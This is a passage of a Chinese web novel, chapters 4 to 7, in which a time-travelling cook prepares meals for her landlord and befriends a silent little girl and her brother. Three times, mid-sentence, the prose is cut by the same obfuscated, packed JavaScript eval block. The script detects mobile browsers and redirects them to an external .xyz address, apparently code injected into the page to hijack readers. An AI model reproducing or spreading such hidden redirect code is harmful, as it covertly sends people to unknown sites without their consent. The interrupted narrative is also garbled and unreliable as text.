接下来，他又呆呆愣愣的瞧见姜芝挨个下入切好的猪肠，猪肺，猛过了遍油后，她又调了些许盐，便直接一瓢清水下入锅，然后便开始盖盖焖煮起来。趁着这时候的功夫，一旁装袋的米线直接被姜芝抓了一把起来，直接握到了另一边已经煮沸的锅中。 不过，此时此刻，一大锅的臊子所散发出的香味，顿时间已经在整个厨灶间弥漫开来。 裴烨微微瞪大了些眼来，后反应过来时又眯起了眼细细嗅了起来，果真再无那一阵他曾经闻嗅过的腥臭味。 他有些不信邪，探步几步望向锅子时，便恰好姜芝单手开盖，那白气夹杂着香味顿时飘到他脸上来，他默默地喉结微动，咽了口唾沫。 * 杀猪粉的臊子，要想炒的好，姜芝也曾总结过，归根到底，今日能用得上的大概就三点：肠斜刀肺按纹理，猪肠要干煸猪肺的话就直接过油，橘皮紫苏添香但必须最后加不然容易煮烂。 姜芝把大半锅的汤都盛了出来，又把正好煮熟的米粉捞了出来，过了一遍凉水后，便直接夹入汤里。 然后再一回头，便瞧见裴烨那直勾勾的眼神，她倒有些忍不住的笑了。 “公子且来尝尝否？” 4. 第 4 章 裴烨被这一声吓得一愣，猛然间刚好与姜芝对视上来，只见那方才还洗手羹汤的姑娘已然收拾好了整个灶台，正盈盈欲笑地盯着他。 他不禁轻咳了一声，掩饰住了方才的尴尬。 “情面难却——，且给我来一碗！” 他本来还想客气地推让一番，谁料对面那姜姑娘丝毫没有给他客气的意味，听他前两个字落下之时，便顺手把方才的一瓢直接倒入了她自己碗中。 直逼得裴烨速速改了口。 姜芝才颇为恶趣味地手一斜，给裴烨分了一碗。 然后便懒洋洋地卧在那竹椅上，一箸一箸地挑起粉来吃。 裴烨紧紧地盯着方才手中猝不及防被一把推过来的大瓷碗，眼神纠结。 他心里仿佛有两个小人打架，一个小人叫嚷着让那该死的豕肠滚远点，而另一个呢？ 恨不得把整个身子都埋进那散发着诱人香味的汤中。 最后，他深呼了一口气，终究抵不过那不断飘上来的白汽诱惑，抓起那大瓷碗沿，喉结轻动。 就这一口，香料带来的辛辣瞬间随着汤落入喉间。随之弥漫开来的是一种肉汤带来的厚实感。 裴烨并非从小生活穷苦人家，相反，裴二公子可谓是出生便是锦衣玉食的主，莫说豕肉这种穷人方才会买上几两的下等肉，就连皇家御赐的雀肉，他都曾吃过。 但这姜姑娘此番做法，他确实从未听闻。 但，确实好吃！ 汤中辛味刚好去了晨间寒霜带来的微凉风意，而那豕肠与豕肺则完全一改裴烨往日见过的模样，味被去了个一干二净且不提，被这料一炖，油脂的香味简直直向人鼻孔里钻。 等裴烨反应过来时已然一口咬了下去。 肠皮轻薄却又微带着点韧性，汁水也随之溢了出来，香的人直迷糊。比起这种韧，肠肉则更多带着的是些绵，说不清道不明的腴香随着咀嚼在唇齿间溢散开来，简直人间绝味！ 那肺片更是一绝，其已然被姜芝切的轻轻薄薄，入口时简直如一朵云般，滑滑嫩嫩直钻到人嘴里去。 裴烨终于从细细品着中回过神来时，手上已经不知道夹了几箸，但反正碗面上已然失了肠，肺二者的身影。 余光间，他瞧见姜芝那饶有兴味的眸子时，也顾不上继续品，只下意识地加快了嗦粉的速度。 姜芝反正心满意足很了。 她边窝在那竹椅上，边笑着向那吃的津津有味的男人提出了个建议。 “裴公子，这早点如何？” 今日出去之时，她还顺便打听了一下她这位房东的信息，可出乎她所意料，左邻右舍竟也只知道这人单姓一个裴，因其满身一股少爷气势，便都暗地讽他为裴公子。 不过，姜芝可不怎么在意这些小细节，她打听一下消息，不过是为了防止又遇到奇葩房东搞事情。 显然，这次她运气还不错，至少碰上了一个正常人。 所以，她打算跟这位正常房东谈一笔买卖。 “姑娘有这手艺，属实不错！” 在确认碗里连汤都一滴不剩后，裴烨方才懒洋洋地瞧向了姜芝，熬敷了一句后，示意她有话快说。 姜芝也不罗嗦，只微微从那竹椅挺直了些腰板，站起身来，轻笑着望向裴公子。 “能得裴公子如此褒赞，姜某也算荣幸。不知公子是否愿，把这灶屋也同样租给我，作为回报，今后公子但凡在家一日，这一日三餐我绝对让公子满意！” “倘若哪天有所不满意，裴公子尽管提，包你满意！” 说这话时，女孩神采张扬，笑得越发开朗。 ** 姜芝也没多拉扯，便顺理成章拿到了灶房使用权。 她心里自然有数，方才在灶屋之时，瞧其内部那微蒙蒙上的灰，便心知肚明了：对于那位房东而言，这灶屋大抵只是个好看不好用的工具罢了。 所以对于那位房东而言，能包下一日三餐饭，这灶屋就还算勉强有一个实际性作用。 不过，姜芝睫羽弯弯，笑得像只小狐狸： 她可没说，租了这灶房，只为了那平时一日三餐的！ 拜托，就算摆地摊，她也要一个制作场所呀！ * 吃饱喝足后，姜芝开始为午餐准备了。 午时向来闷热难耐，姜芝打算以开胃口为主去做那午膳。 而要说开胃，姜芝脑海里已经浮现出了一道令她自己垂涎三尺的菜肴——凉拌鸡丝。 脑海里一边这么想着，她一边又挎上了包，推门向着肉肆行走去。 这道菜叫凉拌鸡丝，怎么也得买点鸡肉才行吧？ 鸡肉在古代价钱不算低，比起更加昂贵的牛羊肉食，又比起那难以处理的猪肉，鸡肉无疑不是小门户的百姓咬咬牙能买下来的最佳选择。 姜芝也只微微盘算了一下，觉得老板没宰客后也没多还价，便全款拿下了价位中等的鸡大腿四块，找那卖肉的阿娘拿了块油纸，便裹好拿着麻绳绑好放在了右手挎着的菜篮里。 又趁着早市还没罢市之时，姜芝还笑眯眯地在集市的各处转悠了一圈，挑挑拣拣间买了些黄瓜，胡萝卜之类的，也同样拎在菜篮中。 盘算了下今天的食材算是够用后，姜芝便准备向回走了。 此时巳时过半。 风儿逐渐卷着热浪向树荫下的人们袭来。路上行者匆匆，几个摊上物品还有大半的摊主愁眉苦脸地坐在树荫下，唉声叹气着。 姜芝此时心情倒还算不错，不过被这热浪一吹也没什么左顾右盼的心情了，只径直闷头走着。 但忽然，她好像感觉到了—— 一股阻力从她的身后裙摆处传来。 姜芝差点下意识地抽出菜筐下那剁刀了。 她猛地一回头，却只望见一个扎着两个小总角的小姑娘仰着头望着她。小姑娘的衣着整齐，头发也被一缕缕地拾在额间两侧，显然，这小姑娘也绝对是受家人疼爱的。 姜芝下意识想到了此处时，方才放下蠢蠢欲动想要捏脸的心思，便转身想走，可谁料那小姑娘一个没抓稳，便差点被姜芝的裙摆拽倒在地。 无奈之下，姜芝只得有些僵硬地站在了原地。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178972|180863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 就这么僵了一会，她最终还是微微叹了口气，蹲下身子来，与那小姑娘刚好平视。 “你是哪家小崽子？找错人啦！” 那小姑娘也不回话，只静静地盯着姜芝。 一大一小就这么僵持着，僵持到那树荫被阳光挤的越来越小，姜芝叹了口气。 “得嘞！姐姐把你带回家，下午凉快些，再把你送到官府去。到时候，且跟你爹娘说一声，姐姐不是人牙子！” 一边嘴上嘟嘟囔囔，姜芝一边伸起手将那总角小女孩的手牵了起来。 小姑娘的脸是圆嘟嘟的，但手却有些柔弱无骨的感觉。 姜芝轻轻用了些力，小姑娘才迟钝地抬头望了她一眼。 就这一眼，姜芝心里也有了些猜测。 * 到家后，姜芝先把小姑娘安顿在了堂屋的椅子上，然后便跑去灶房烧了一锅水。 这才回来温声问那小姑娘。 小丫头片子虽然一声不吭，但那双水汪汪的眼睛却一直紧紧的追着姜芝的身影。 就在此时，屋门再一次被推开。那小丫头的目光终于从姜芝的身上移了开来。 裴烨刚才被他那群朋友叫了出去，这会儿功夫才回来。 第一眼，便瞧见了那位租客姑娘，一改今天早上的潇洒自如，反而有些手足无措？ 他顺着那位租客姑娘的眼瞧了过去，第二眼便对上了一双黑白分明的眼。 而且，似乎格外的熟悉…… “小麻花？” 姜芝耳边刚落下这道微微讶然的声音之时，那双修长的手已然擦过她微微蹲着的身子，直向那小姑娘的腋下而去。 然后便一把把那小姑娘抱了起来，掂量了掂量。 “她怎么在此处？” 男人的狐狸眼微微眯了起来，居高临下的俯视着还有些愣在原地的姜芝。 不过显然，姜芝反应从来不慢，她微微拍了拍手，站起身来，毫不畏惧地盯着裴烨，笑道。 “这小崽子叫小麻花？不错的名字，你怎么不问问她，为何要拽着我？” 两人气势颇有一种你不让我，我不让你的针锋相对感之时，那小麻花却忽然挣开了裴烨的手，径自躲到了姜芝身后，照旧拽着姜芝的裙摆默不作声。 这下子，姜芝笑了，而裴烨呢？ 他炸了。 * “姓游的，管管你家小孩，怎么说我也含辛茹苦照顾住她吧，她倒好，看到个漂亮姑娘直接叛变了！” 当裴烨再次冲开家门之时，臂腕间还半搂半压着个比他略矮的男子。 那男子手上还端着几粒瓜子，看上去大抵瓜子还没吃完就被裴烨这家伙压了过来。 此时脸上尽是懵与愣。 一直躲在姜芝身后的那位小姑娘终于肯迈上前一步了，露在众人视线之间了。 但尽管如此，当她静默地瞧了瞧那两个已经暗中斗殴上的家伙，最终还是选择默不作声的拉住了姜芝的手。 在那两人叽里呱啦的争吵声中，姜芝竟然有一种诡异的耀武扬威感 5. 第 5 章 “你们俩，停！” 最终，还是实在忍不下去的姜芝怒吼出声，打断了那俩幼稚鬼你一句我一句的拌嘴。 “你，小麻花他哥是吗？” 姜芝把小麻花那微微拽着她的手送到了那位游姓男子手中，确定两个人拉好手后，才继续说道。 “目前任务，牵好你妹。” “还有你，别在那儿嘟嘟囔囔闷闷不乐，过来陪小姑娘玩。” 姜芝又随意地向着一旁还停留在闷闷不乐的裴烨道，裴烨也下意识地照着她话去做。 但这却把一边的游义吓得一怔一怔。 裴烨这家伙，从来只有皮囊看上去风流倜傥，实际上他们这群混在裴烨身边的人都知道，这家伙最爱不动声色间扣锅子甩帽子。 外人惯爱送这家伙纨绔的称号，他也向来潇洒接受。但实际上，这家伙心黑的出奇。 但，瞧瞧他今天看到了什么？ 黑心大魔王在家里养陌生妹子这事儿本来在裴烨身上发生之时便已经足够出奇了。 他居然还任听人家使唤！ 游义被自己发现的真相震撼住了，不断瞟向两人的眼神都夹杂着些许古怪。 那两人自然有所察觉这道灼人的目光，但当两人余光扫见游义那不甚机灵的目光，竟不约而同的忽视了。 而姜芝忙着去处理那锅上已然咕噜噜冒泡的沸水，而裴烨此时正在全力逗小麻花，根本未曾想过游义这家伙脑回路能歪到何处去。 虽然买菜的过程中还意外捡到了个小孩并且成功找到了其亲属，但姜芝可没忘记她目前还要干的活。 在姜芝一到家，她便在灶台间的那口大锅里倒满了压上来的井水。在前面处理各种杂七杂八式的功夫，井水已然咕噜咕噜沸腾起来。 姜芝连忙把方才买好的鸡腿掏了出来，去骨然后再微微抹下盐，再切些葱姜摆在刚取出来的盘子底下，鸡腿摆在那葱姜的上面，在中间再倒扣一个小瓷碗，等会用来装汤汁。 这些准备工作就落完了以后，姜芝便匆匆的把大锅的盖儿掀开来，迎面的白雾顿时扑了姜芝满面。 姜芝也没恼，只微微抹去额间细汗，然后把那一盘端在了水的上方，隔水蒸熟。 然后趁这会儿功夫，她又匆匆地把方才买回来的胡萝卜，黄瓜洗净再擦干表面的水，最后再把两者切成细细的丝。 当两者同时摆在钉板上时，更显得黄瓜丝青翠欲滴，胡萝卜丝橙得鲜脆。 当姜芝切完以上之后，锅中水再次蒸沸，水泡咕噜噜的顶着蒸笼，姜芝早就习惯了这道声音，听上去都有些格外的安心。 趁这会儿休闲功夫，姜芝双手捧了些水，给自己洗了把脸，清醒了下后，锅上的蒸鸡腿也好得差不多了。 一把掀开盖子，蒸着的鸡腿肉表面已经浮现出漂亮的金黄色，细看盆底也泛着油光。至于看它熟没熟？姜芝自有一份小秘招。 只见她拿上了一只箸，用力一戳，鲜香的汁水顺着箸尖流了出来，这股顺势流出来的汤汁清澈澄亮，姜芝便知道，这鸡腿肉算是熟了。 姜芝拿起两块抹布，把那滚烫的一整盆都端了出来后又把那鸡腿肉按条撕开，放在另一个装菜的碗里。 此时，那盆子里装汤的倒扣的碗总算不似刚才那般沸腾似的滚烫，姜芝把那汤汁倒了出来，再加上些许蒜泥与上次还剩下来的半个柠檬汁，与过油的花椒和在一起，被热汤一激，顿时间香味四溢。 渐渐的，这香味儿飞出了灶房，在整个裴家弥漫开来。 堂屋里正对峙的三人也不对峙了。 小麻花本就懒得听这两个幼稚鬼的互掐式闹腾，头都扭到了一边去。此时头却又扭了回来，直勾勾地望向廊道。 游义这家伙更是直接，已经开始咕咚咕咚的咽口水了。 裴烨倒成了这三人里面最淡定的，他本就见识过了姜芝的手艺，闻到这股诱人至极的肉香之时，只径自挑了挑眉，暗中忍住想要深呼一口气的欲望。 “裴二，不介意我和小麻花今儿在你家吃一餐吧？” 游义打也不打了，闹也不闹了，只露着口白牙，笑嘻嘻地望向裴烨。 在亲哥的这一声的提醒下，小麻花也颇为专注地盯上了裴烨的眼。 裴烨被这一大一小的眼睛盯着，难得有些不自在，他挠了挠后脑勺，就准备开溜。 “嗯，我先去看看做了多少……” 然后转身的余光间便看到，游义和小麻花两个家伙手拉着手，紧紧跟在他身后。 姜芝可大不知道外头已经整整齐齐地坐好了三张嘴。 她还在忙活着把那料汁，那撕成条的鸡腿肉，和那黄瓜丝胡萝卜丝通通混合在一起。 忙活累了，她又顺手从灶台的一旁挑了两碗的荞麦粗粉，打算做成麦饼犒劳一下自己。 她特别多挑了些，打算也给小麻花那小姑娘开开口味。反正这食材也不是她买的，拿房东的食材去犒劳一下房东的朋友，这一点她做起来可心安理得极了。 麦饼是古代劳动人民食谱中颇为省力的食物，姜芝当年复刻美食的时候也曾复刻过这一种，所以自然做得心灵手巧极了。 她先是细细的在手上把那荞麦粗粉碾了一遍，确认这粉颗粒不算大后，再加上了一小勺盐，再一次一次加入煮开的水揉和，当它成为一个光滑的面团之时，第一步就算初步告终了。 为了增香，姜芝还特地放了点从墙边摘的芥菜，混了点猪油进去，确认这俩都被融入了面团之后，姜芝才松了口气，拿油纸盖住，开始让其自行发酵。 接下来就准备开煎了，实际上，古代专门烙饼，还有一种特殊工具叫做，鏊子。姜芝以前在逛博物馆的时候还有所见过。不过，裴家没这东西。 所以姜芝干脆把那平底锅洗洗刷刷后，再烧干用油润后，然后就把面剂子挨个丢了进去，再拿铲子一一压实。 当锅里滋吧滋吧的焦响声越来越大时，姜芝瞅准时机，拿起铲子速速掀了一个，看了眼底部，果然煎的焦黄后，便可以挨个开始翻面了。 就这会功夫，整个厨房都飘满了一股麦甜味，香得姜芝都不觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178973|180863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快乐了些。 更别提此时刚好到门口的仨人了。 游义再一次的咽了口唾沫，头一回没顾上前面带路的裴烨脸色，直愣愣地走到锅前，低头一看，用力一嗅。 金黄的饼身在烘烤下微微膨起，麦香混着焦香直往人鼻尖冲。 这饼子不像街上卖的那种直接用碳烘出来的，反而是微微在锅中煎着，便没有街上卖的那种饼的厚，反而薄薄得像是能透光。 他险些一伸手，便想抓了过去。 却刚好被一双箸轻轻的敲了一下手腕，他这方才回过神来，手刚好放在锅上端，被热气烫的有些呲牙咧嘴。 “这位姑娘，小的是你裴爷好友，小麻花她亲哥，这饼子待会能给我些一试不？” 裴烨不由得都有些嫌弃这个好友，这家伙为了口吃的，把能套的关系都套了一遍。 不过，幸好当时这姑娘要灶房时他答应得快，不然…… 他心里也不由自觉地想。 姜芝听这“X爷”的称呼，但嘴角一抽，但还是笑着说道。 “当然，这位公子，方才烙饼的时候，就已经给你和小麻花各留了一份了，不过现在还没到能吃的时候，先收回你的手。” 边说着，她边头也不回地打掉了那一只拿着箸，只想往锅里探的手。 “嘿嘿嘿，”游义有些尴尬的一笑，然后便转过头把自己家幺妹一把拉了过来，怼在自己身前。 姜芝被这一闹，表情也渐渐松弛了下来。这饼子本来就煎的差不多了，香味扑鼻甚至绕梁三尺。 这会儿闲工夫，她顺势把那方才已经凉拌好的鸡丝端了出去，然后又把三人排排赶在外面，随口便吩咐他们剥些花生待会儿配菜吃。 这些活计都做完后，她就一张一张把饼盛到了盘子上。 然后便一手凉拌鸡丝，一手麦饼地端了出去。 这会儿功夫，桌上三人已经挨个坐好了。 裴烨微微翘着个腿，手边倒确实有一堆花生皮，但瞧嘴角有节奏地嚼啊嚼，很明显，大抵是没给剩下一点了。 游义倒是还剥了些花生，不过显然分量没多少，近被他一粒扔嘴里一粒放盘里的剥法剥没了。 所以，三人之间剥得最多的竟是小麻花。她正坐得板正，虽双脚还踩不到地面，但也不似她那哥哥一般左右来回晃动，眼神也专注的盯着花生，甚至连花生壳和花生仁都挨个分了开来。 走过三人身边时，姜芝笑着摸了摸小麻花那毛茸茸的脑袋，心里愈发多了几分猜测。手上的两盘也顺势递在小麻花面前。 其他两个人颇有些敢怒不敢言。 毕竟，谁敢得罪一个厨师？ 又有谁敢跟一个六七岁的孩子真的不顾脸面地争菜呢？ “吃啊！” 姜芝懒洋洋地拉来了竹椅，一边把箸，一边发出号召。 然后，四根筷子差点在空中打了起来。 姜芝却懒得管那俩，只专心致志地给小麻花夹菜。她俩拿的是勺子，根本不会跟那两个高空打架的冲突上。 6. 第 6 章 如果说游义方才那句话还是气氛刚好，那么，当他吃下第一口时，才深深地庆幸刚才自己还发了一句言，不然以他身旁这位恨不得飞毛手的家伙的吃饭速度，大抵真的不会给他留上一口。 他是效仿姜芝的吃法的，先拿起一张煎饼，再夹上一箸的鸡丝，然后再抓上几粒花生米与那鸡丝共同卷在煎饼里。 这是游义从未吃过的饼。 先前游义所吃过的饼，要么就是家里厨娘做出来的，要么就是大街上卖炊饼的人家特卖的，也不乏有做的好的，如那大街上的孙二娘惯来做的肉煎饼，肉裹在炊饼中，一口咬下去爆汁在口腔中。 香味从嘴里蔓延，诱人至极。 而这个旅居在裴二家里的妹子做出来的饼，却很为别样。 饼皮薄薄的，一口咬下去有些焦焦的，脆脆的。一咬到最脆的地方，偶尔还会掉些碎渣。但即便如此，依然不影响那多嚼两下舌尖溢上来的甜香。 吃这块饼的时候，粗吃只觉得薄脆，细品下去却觉得好像把其他炊饼飘散出来的甜香全部藏在喉咙里，一点一点向嘴里回味。 还没等饼的甜味回味过来，游义已经咬到了里面裹着的肉丝了。 姜芝在现代做凉拌鸡丝的时候通常爱加些辣椒油，确保其酸辣麻三体于一位，奈何这个朝代暂时还没有往美洲进步的打算，所以只得无奈放弃。 不过即便如此，这道菜也让从未体验过如此多滋多味的游义震惊了。 他眨巴了眨巴眼，哪怕手上的还没吃完，依然更加奋力地提箸抢了起来菜。 姜芝却没顾及这两个人，她在专心盯着小麻花。 小麻花人虽然看起来不大，但吃起饭来像是在文静地吞咽，速度极快的同时又不似她亲哥游义那番不讲姿态。 在姜芝望向她的第一眼时，她便有所察觉的回望了一眼，与姜芝对视了一眼后，她又沉默的低下头去，继续闷头干饭了。 姜芝愈发肯定了自己的猜测。 饭后，就在那两人吃饱喝足之时，姜芝悄悄把小麻花带到了外头，然后便细细地问起小麻花来。 游义正愁无以为报，干脆把小麻花的事一股脑全说出来。 小麻花本名游凌，游家幺女，不说千万宠爱于一身，也好歹能算全家上下疼爱于一身。 小姑娘也从小就长得争气，人也聪慧。 到这还一切都好事。 直到四岁开蒙之时，众人才发现了问题：小麻花越来越不爱说话了。 开始众人以为是她的拧巴倔脾气，纷纷想不理她来强行纠正。谁料至此之后，小麻花说话便是越来越少。 游义有狐朋狗友听这事后，送了个颇为有趣的绰号“小麻花”，他们几个一细想觉得恰到好处，便有时候也会闹着喊喊。 说到最后，游义这个当哥哥的，平时素来不着调，这次却难得有了一次正型，他站起身来，微微向姜芝俯身行了一礼。 姜芝慌忙避开，又还了一礼，道。 “游公子，此番为何？” “姜姑娘，幼妹平日显少出门，更不爱接触外人。今日本是她奶娘抱着她出来转转，怎料出了点岔子，幸好姜姑娘您捡她回来。这一礼，是为此！” “再者，我也是想求姜姑娘一事！”他停顿一下，露出了一个不好意思的笑，继续道。 “姜姑娘，我观您与小麻花的日常相处，感觉小麻花还颇为喜欢您！不知可否平日里带带她……” 他窥着姜芝的表情，斟酌着改口道。 “姜姑娘若能把小麻花这寡言的毛病纠正过来，我游家有的什么姜姑娘尽管提。我父常年四处经商，我大哥在上京当个差使，姜姑娘想买些什么各地妆点裙饰……” 姜芝本来还有一搭没一搭的听着，她是个很看眼缘的人，这次，她看这兄妹俩蛮舒服，便也任他们在此混了餐饭吃。 但听到，游义列出来的游家能给出的条件的时候，她刷的一下眼睛就亮了起来。 她沉吟了片刻，开口道。 “游家，能量不错呀。什么都可以带吗？” 游义听到这句话的时候，下意识的一愣，忍不住地向裴烨所站的方向瞥了过去，心里也忍不住冒出了些问号出来： 他方才那话虽说是当真的，但是也是客气成分再多。毕竟，就算是裴二养个小情儿，也断不可能少了她些什么…… 但亏刚才这姑娘架势，莫不是还不知些什么？ 裴烨冷酷无情地别过头去，根本没去管自家兄弟死活。 姜芝可没瞧到这俩人的眉眼关系，她正在细细的盘算着利益报酬。 姜芝基本上确定了，小麻花的症状应该就是后世所确诊的孤独症，智商高到主动交流意向极低。 虽然不知道小麻花为什么惯爱粘着她自己，但既然有能利用到的，姜芝也惯来不会放过。 蜀地在古代可谓是南蛮偏僻之地，但贵州那边一脉又一脉的山就足以阻挡住无数人的脚步。因此，这里与外界的交流极其稀少。 这里居然有一条现成的交流通道，等着姜芝，那姜芝自然不会放过。 于是她笑着开口道。 “小麻花虽有些不善言辞，但胜在乖巧可爱，且在无事之时，我带带她又何妨？” “至于游兄所说之事，我倒并不太在意妆点裙衩之事，不如让令父令兄打听打听，看四处有什么异果之类的，我惯爱琢磨这些……” * 当小麻花再次被眼前这个感觉分外熟悉的大姐姐抱进屋里时，非常鲜明的感觉到了整个屋里的气氛变化。 自家那个不着调的亲哥有模有样地拉着另一边站着的那个男的说着些什么，细观其表情又似乎有些咬牙切齿的。 而抱着自己的这个大姐姐相较于之前，却有些格外的温柔？ 她有些疑惑地轻轻的戳了大姐姐的手臂一下，果然瞧见了大姐姐低头下来的目光。 “你们两个又在那唧唧歪歪讨论什么？先出去，我跟小麻花聊聊天。” 小麻花还没跟大姐姐对视上几秒，就已然看到了大姐姐的变脸瞬间，冲着自家亲哥的方向怒吼道。 那两个总算结束了窃窃私语，开始勾肩搭背地走了出去。 只是， 小麻花有些敏锐的发现，自家亲哥那被勾肩搭背的肩膀，怎么分明惨白没什么血色了？ “小麻花，坐好！” 小麻花又听到那大姐姐这么叫她，便立马转回头来。 此时此刻，姜芝也在认真的打量着小麻花，许久，她叹了口气，微微吓唬道。 “你哥把你卖给我了，之后跟着我学读书识字，还得帮忙干活。一定要听话点，不然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178974|180863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没人要你了！” 小麻花抿了抿嘴，头一次发出了声音。 “他不会。” 是一道有点干涩的嗓音，听上去有点哑。 姜芝被这一声逗笑了，她转手捏了把小姑娘那圆嘟嘟的脸蛋，逗她： “你哥你爸妈都快怀疑你出问题了，真的不跟他们聊聊天，说说话？” 这句话落下之时，气氛霎时凝固住了，许久，小姑娘才哑着嗓音回答道。 “我说不说话，他们都不会回来的。” * “《三字经》？” “嗯，读了！” “《千字文》？” “读了！” “你不会把你哥留下来的书全读完了吧？” “嗯。” 当小姑娘淡然的嗯了一声出来之后，姜芝竟然有一种诡异的平和感。 她原先还想借着两辈子好歹也加在一起活了40来年的阅历，给人家小姑娘教些道理授些知识，谁料这小姑娘当面给她上了一课。 她开始还有些不信邪，单手翻起书卷来便想考考小姑娘，谁料这小姑娘看似小小一只，实则把这她这个年纪应该读的全都背了个透彻。 姜芝面上暗不作声，实际上心里恨不得默默的流泪：这过目不忘的记忆，老天什么时候也能给她一个呀！ 于是，门外那两人总算进来之时，便瞧到里头两位在颇为闲情雅致的看着书。 大的颇为悠闲地歪在竹椅上，单手细细地翻阅着前朝传下来的菜谱，嘴里还在嘟嘟囔囔的些什么。 小的一板一眼的坐在小椅子上，身板撑的笔直在那看，《天工开物》？ “哟，今儿还看上闲书了？平时不天天抱着我那两本手不厌卷呢？也发现这闲东西好看了吧？要我说呀，确实有些书那就是比那些老夫子讲的好听……” 裴烨也不知道在外面给姓游的灌了些什么，此时再不复方才那种庄严托孤的悲壮感，一如既往的像二哈。 小姑娘懒得理会她那向来不着调的亲哥，但姜芝惯来爱杀人诛心！ 她一手还持着支毛笔，在那菜谱上细细的写着些什么，另一只手压着菜谱，头也没抬地说道。 “人家小麻花早把你的书都吃透了，不信的话，你且问她三两个问题便知道。” “至于为什么只捧着你那四书五经，大概是你在家中只留了这些书册吧！” 游义整个人显然被着三言两语间打击的有些僵住了，但要不然为何说他是二哈呢，关注点已全然跑偏。 “游凌，你总算愿意理我啦！快点快点喊声哥，我把书局都给你包下来！” 小麻花被亲哥吵得有些不胜其烦，小手轻轻的把亲哥推到一边。 但姓游的根本没感觉到亲妹的不耐烦，当他听到他妹那身轻飘飘又沙哑的“哥”的时候，整个人都肉眼可见的兴奋起来，犹如一只脱缰了的二哈般傻笑了起来！ 这边，姜芝也懒得看那边兄妹情深了，她一边结合着古籍，一边对比着脑袋里的现代菜式，头也不回地扬声对后面说道。 “今晚吃些你绝对未曾吃过的，如何？” “任你。” 男声从姜芝的后面传来，男人微俯身，将整个重心压在了姜芝所坐着的竹椅上，与她同步地看着手上的菜谱卷，面上则微微含笑道。 7. 第 7 章 姜芝休息了片刻后，看着那夕阳也落下了三尺，还是不紧不慢进了灶房。 她长伸了个懒腰，脚尖轻盈得把早上买回来洗完没吃完的猪肺猪肠勾了过来。然后又从旁边打了一盆井水，微微冲洗去表面的灰。 她今儿打算做些麻辣烫，既做夜食，更做些在夜市上贩卖。 她先是把那偌大的猪肠猪肺又再次清洗了一遍，然后又从一旁的架子上摘了些肉干，一同清洗了。 然后她问了下裴烨，确定家里窖子里藕，胡萝卜，莴笋，木耳，黄瓜甚至蘑菇什么的都或多或少备了点后，喜笑颜开的挨个去挑了点，然后直接用井水洗净。 胡萝卜滚刀切块，藕片成半手指节粗的块，莴笋与黄瓜切成长长的一条。 木耳和蘑菇最是方便，姜芝只把它挨个洗了又洗，甚至切都不要，这备菜就已经做好了。 备完菜，姜芝就准备开始卤猪肠和猪肺这俩了。 她把大锅刷了一遍，然后便把猪肠和猪肺塞到里头，又加入了五勺盐，以及向邻居大娘借来的大酱三勺，白酒一瓢，以及她的秘制卤料——陈皮，紫苏叶，丁香，花椒，以及那葱蒜姜，一齐包入透气的小药袋里，再放到大锅里，只等香味肆意挥发。 然后再打上个两三瓢清水，便盖盖闷煮了起来。 趁此刻炖煮的闲功夫，姜芝想了想，干脆打算在家里种些能力所能及收割的蔬菜，比如—— 豆芽？ 姜芝自然很晓得发豆芽，原先穿越之前，她还尚有一笼豆芽在房子的阴凉角还未收割。 发豆芽这事，姜芝总结下来就几个要点，“挑豆子，泡豆子，湿豆子，阴豆子，浇豆子，最后记得翻豆子”。 姜芝眼下时间只来得及进行第一二步，挑豆子与泡豆子。 从窖里抓了几把绿豆出来，一瓢清水下去，浮在表面的通通丢去，这些通常不是坏的，就是瘪的，基本发不出来。 然后她从外头提了个桶，把方才微微筛过一遍的豆子一股脑地丢了进去。再打上几瓢水，水位大概比豆子高出一个指节左右，便就算开始泡豆子了。 泡豆子时间在冬天可能要泡一宿，但如今是热浪滚滚的夏天，姜芝估摸了一下，感觉差不多在夜里摆摊回来就可以准备收了，于是她就把它摆在厨房的亮堂处，生怕自己给忘了。 这时，她又去瞧了瞧那卤货的大锅，瞧着里头咕噜咕噜还在冒小泡的水面时，又拿起另一个锅，淘了些米开始煮饭了。 待一切事必，静静的窝在她那竹椅上看书去了。 * 当锅里咕噜噜的声音传了出来，姜芝便知道已经炖的差不多了。 她悠闲地把书卷放到一旁，起身开了那锅盖。 暖烘烘的白汽顺着锅沿钻了出来，撩了她一鼻。 姜芝一嗅，满意地点点头。 这股香确实到位，虽然确实不及前世炖出来的浓香，但用力一吸，先是大酱的浓香，然后丁香的辛味也顺着蹿了进来，紧接着的是花椒自带的那股独特的草木香味，这几种是最明显的，而其他的辛料则被混杂在一起，形成了一种错综复杂的浓香。 